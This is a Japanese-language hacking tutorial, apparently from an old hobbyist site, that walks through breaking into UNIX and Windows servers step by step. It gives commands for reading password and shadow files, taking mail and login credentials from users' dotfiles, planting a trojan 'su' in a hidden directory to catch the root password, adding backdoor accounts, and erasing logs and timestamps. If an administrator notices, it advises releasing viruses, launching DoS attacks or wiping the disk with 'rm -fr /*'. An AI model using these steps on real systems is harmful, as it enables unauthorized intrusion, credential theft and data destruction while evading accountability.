応用Hacking通論
■踏み台確保
特別講座<踏み台確保編>を参照せよ。
■ハッキングの流れ←ターゲッティング/侵入準備(スキャン)/侵入直前/リモートアタック/ゲスト権限を奪取/root権限を奪取/管理者側に発見された時
ハッキングの基本的な流れは次のようなものになります。このハッキングでターゲットとなるのはUNIXやWindowsNT/2000などのサーバーが対象となります。各種OSによる具体的な方法は、この概念を理解してから読むと、よく理解できることでしょう。
1:ターゲッティング
このターゲッティングとはターゲットとなるサーバーを慎重に選び、そのサーバーの情報を間接的に集めることです。
2:スキャン
スキャンと言っても様々なものが存在します。アタック方法として例えば、Pingスイープ、ポートスキャン、OS特定、アタックフィンガープリンティング、ネットワークリソースの列挙、ユーザー・グループの列挙、アプリケーションバナーの列挙などがあります。これらのスキャンによってターゲットの弱点となるセキュリティホールを探し出します。慎重な人はターゲッティングとスキャンでターゲットの情報を先にしっかり集めてから行動します。一方、Script
Kiddiesは、現在、持っているExploitで効果があるかないかは別としてとりあえずアタックしておくという行動を取ります。もちろん失敗すればログが残ってしまいます。
3:間接的アタック
インターネット経由でなく直接ターゲットサーバーにアクセスできる場合はこのステップをこなすことで比較的完単に、ユーザー情報、ユーザー権限、ルート権限を得ることができます。例えば自分の会社のサーバー、ライバル会社のサーバー、友人のパソコンをターゲットとした場合などが当てはまります。
これらは別章のソーシャルエンジニアリング、LANのハッキングで詳細に触れています。
4:ローカルアタック
すでにターゲットサーバーにシェルアカウントを持っている場合、一般ユーザー権限からルート権限を奪取することを目的にします。ちなみにこのステップを飛んで一気に次のルート権限の奪取ができる場合の方が多いかもしれません。アタック方法として例えば、sniffer、トロイの木馬、セキュリティホールを突く攻撃などが当てはまります。ここでステップ2で調べたターゲットサーバーのソフトウェアのバージョンやOSの種類またはバージョンを調べたことが役に立つわけです。ローカルアタックが成功してルート権限を奪取した場合はステップ5は飛ばして、ステップ6に進んでください。
5:リモートアタック
一般的なターゲットサーバーに侵入するためにはステップ3と4を飛ばし、このステップ5のリモートアタックからルート権限の奪取を狙います。ここでステップ2で調べたターゲットサーバーのソフトウェアのバージョンやOSの種類、またはバージョンを調べたことが役に立つことになります。
6:ログ消去またはログ偽装
あなたが侵入したことはサーバー側のログと呼ばれるファイルに順次、記録されています。このログを消去しなければ、サーバー管理者に追跡される可能性があります。足跡を残すということになるわけです。よって、このログを消去することがハッキングにおいて非常に重要な作業となります。犯罪では証拠さえなければ逮捕されませんよね? これと同様です。
7:徘徊
すでにルート権限を奪取し、さらにログも消去したのでサーバーはあなたのもの同然だるといえます。メールを読んだり、個人情報や機密情報を探すなり、WAREZのファイル置き場にするなどといったことが可能になります。
8:タイムスタンプの改竄
システム上の時間情報はシステムロックから生じているシステムロックや作成日時、最終アクセス日時、更新日時の情報が記録されるタイムスタンプやタイムゾーンを変更することができます。追跡は、常に時系列による証拠(ログ)が必要となりますので、これを並べて調べるのが困難になるということです。
9:バックドア
root権限を奪取したのに、ここまでのステップを毎回繰り返すことは、とても面倒ですので、次回より簡単にroot権限を奪取しやすいようにバックドアを仕込みます。これで次回から簡単に侵入ができ、踏み台にすることもできます。
バックドアに利用できるものはUNIXに豊富に存在します。例えば、ユーザーアカウント、シェル設定ファイル(.login、.profile、/etc/profileなど)、GNU.emacs、.exrc、.forwardや.procmailrc、inetd.conf、エイリアス関係(/usr/lib/aliases、/etc/aliases、/etc/sendmail/aliases、aliases.dir、aliases.pag)、/at/crontab、システム初期化ファイル(/etc/rc*、/etc/initd/*、/etc/rc?dなど)、共有ライブラリなどが悪用できます。
10:その他
その他、ルートのハッキングに関するTipsのようなものを紹介します。例えば、ファイル名アタックなどもこの実行ステップに当てはまります。
●ターゲッティング
・基礎ターゲッティング講座
・標準ターゲッティング講座
・応用ターゲッティング講座
●侵入準備(スキャン)
・ポートスキャン
・共有スキャン
・サービススキャン
●侵入直前
1、ターゲットサーバのOSのセキュリティーホールを調べておく。
2、ターゲットサーバに合うExploitやログ消しなどを手に入れる。
3、必要ならば、SnifferやTrojanやBackdoorを用意しておく。
●リモートアタック
もし以下の方法を実行した結果としてrootを手に入れたらこちら、ユーザ権限を手に入れたらこちらを見てください。
・特別講座<オンラインパスワードクラッキング編>
・特別講座<Null Session編>
・基礎Buffur Overflows講座
各OS、各バージョン、各デーモンに合ったExploitを探しておき、それを実行してゲスト権限あるいはroot権限を奪取する。
・有料サービス料金を払って、シェル利用可能なサービスに乗り換えて、ゲスト権限を手に入れる。
●ゲスト権限を奪取(root権限はまだ奪取していない場合)
・特別講座<Log消し編>←この段階で、気休めにlastlogは削除しておく。
・特別講座<rootkit編>←改ざんされたコマンドを使ったり、バックドア作成に使う(バックドアはroot権限奪取後に行う)。
・特別講座<パスワード編>
/etc/passwdを見れるかどうか一応確かめる。シャドウ化されていたとしても、ユーザー列挙は可能。
$ cat < /etc/passwd
シャドーパスワードでなかったら即効でオフラインパスワードクラッカーJohn the
Riperでパスクラックする。詳細は特別講座<John the
Ripper編>を参照せよ。
・コマンドwまたはwhoを使って現在ログインしているユーザーを確認する。
rootがいないことを確認する(rootがいたとしても本物のrootでない(誰かが自分と同様にroot権限を奪取していることもある)可能性もあるので冷静に・・・)。
$ who
ipusiron pts/0 Sep 20 08:24
・コマンドidやwhoamiを使って自分自身を調べる。
$ id
uid=500(ipusiron) gid=500(ipusiron)
$ whoami
ipusiron
・Sendmailの共有スペースの/var/spool/mailに行っておもしろいメールがあるかどうか調べてみる。
ちなみにqmailの場合はユーザーのホームディレクトリ内のmboxで見れます。
$ cat /var/spool/mail/ipusiron
・OS情報を調べる。またはディストリビューションのバージョンを調べる。
$ uname -a
Linux ipusiron.mil 2.2.14-1vl6 #1 Mon Mar 13 18:39:36 JST 2000
i686 unknown
$ cat
/etc/redhat-release←RedHatの場合
・sendmailのバージョンを確認する。
$ /usr/sbin/sendmail -d0.1
< /dev/null($ echo | /usr/lib/sendmail
-d0.1でも可)
Version 8.9.3+3.2W
(中略)
・HTTPdのバージョンを調べる。
$ /usr/sbin/httpd -v
・その他のアプリなどのバージョンを調べる。
例:KDEの場合(RPMファイル)
$ rpm -qa grep kde
・基礎Buffur Overflows講座
各OS、各バージョン、各デーモンに合ったExploitを探しておき、それを実行してroot権限を奪取する。
・標準Trojan講座
Trojan(suトロイ、lsトロイ、psトロイ)でrootのパスワードをGetする。
例:suトロイ
% uname -a←OSを調べる。
% cat >sut.c
...(コピペ)
^C
% cc sut.c -o su
% pwd
/home/ipusiron
% mkdir .kon←隠すためのディレクトリを作る
% cd .kon
% mv su .kon
% rm sut.c
% vi .cshrc←パスを設定する。
set path=(/home/ipusiron/.kon (中略))←下線部が追加したところ
% source .cshrc←これで.cshrcを反映させる。
これで完了。後は誰かがsuを実行するのを待つのみ。
●root権限を奪取
・前に使ったトロイの木馬やExploitを削除しておく。
・特別講座<タイムスタンプ改竄編>
・応用バックドア講座
・他人のメールを覗き見る。
・他人のファイルを奪う。
FTPdを立ち上げて、そこからダウンロードする方法を思い浮かべますが、これだと余計なログ(FTPのログ)が残って厄介です。
そんな場合はダウンロードしたいファイルをuuencode(詳細は特別講座<uuencode編>を参照せよ)でエンコードしてそのテキストデータをコピペで自分の端末へコピーしましょう。 TFTPを利用するのも手です。ログは残りますが。後で消せば問題ありません。
・ニセアカウントの追加←一種のバックドアアカウント
踏み台用の捨てアカウントを追加しておくとよいでしょう。
・パッチやセキュリティホールを塞ぐ
自分以外のアタッカーが侵入できないように、セキュリティホールを塞ぎます。もちろん、その前に自分だけはログインできるようにバックドアを複数個セットしておきます。
・各種設定ファイルの改竄
/etc/passwd,/etc/shadow(/etc/master.passwd),/etc/inetd.conf,/etc/rc,/etc/services,/etc/ttys,/etc/ttytab,/etc/hosts.equiv,/etc/syslog.conf,~/.rhosts,/etc/crontab,/etc/aliases,/etc/hosts.deny,/etc/hosts.access,各ユーザー(特にroot,uucp,ftpなど)のホームディレクトリ内の.rhosts
・基礎sniffing講座
Snifferを仕掛けてターゲット内部ネットワーク内のさらなる侵入に役立てる。
・各ユーザーのドットファイルを覗く。
$ cat /home/ipusrion/.fetcmail←メールサーバのIDとPasswordがGetできる!
$ cat /home/ipusiron/.netrc←rシステムのログインに使うサーバアドレス、ID、PasswordがGetできる!
・設定ファイルを確認しておく。
$ cat /etc/inetd.conf | more
$ cat /etc/services | more
$ cat /etc/syslog.conf | more
$ cat /etc/shadow | more
$ cat /etc/master.passwd | more
・ターゲットがWindows2000系ならば、caclsコマンドでCUIでアクセス権限の設定ができる。
・ターゲットがGUIな環境ならば、VNCをインストールしておくとリモートから表示されている画面を監視することができる。
●管理者側に発見された時
仮にサーバー管理者に侵入がばれたとしたら、焦らずに次のいずれかの最終手段を行います。
・コンソールアタック
・ウイルスを送り込み起動させる
・ファイル全削除
・DoSアタック・DDoSアタック
・管理者との和解
○コンソールアタック
エラーログを/dev/consoleに出力してコンソールをエラーメッセージで一杯にします。これで侵入を明らかにするというデメリットはありますが、すでにばれているので追跡を困難にするためにこの方法も有効であると思います。
○ウイルスを送り込み起動させる
ウイルススキャンソフトウェアをアンインストール、もしくは無効化しておき、その後にウイルスを送り込み、起動させて感染させます。これで管理者は追跡よりもウイルス削除の方が手間がかかるわけです。crontabファイルをいじってウイルス起動時調整してもよいでしょう。
○ファイル全削除
ハードディスク内の全てのファイルを削除してしまいます。ただし、別メディアにログやバックアップが定期的に記録されている場合は、罪を増やすだけであまり得がないかもしれません。ただし、ターゲットサーバーが別メディアにログを残したりバックアップをとっていなかったりしなかった場合は強力かつ、安易な方法です。
# rm -fr /*
○DoSアタック・DDoSアタック
別章でも詳細に触れますが、DoSアタック・DDoSアタックでターゲットサーバーのネットワーク環境をダウンさせます。
■関連講座
■参考文献
- 『ハッカーの教科書』
- 『コンピュータ悪のマニュアル3』
- 『Windowsのハッキングマニュアル2000』
- 『クラッキング対策ファイナルガイド』
- 『TCP/IPセキュリティ』
- 『ネットワーク侵入検知』
- vilikkさん誤植指摘Thanks!
|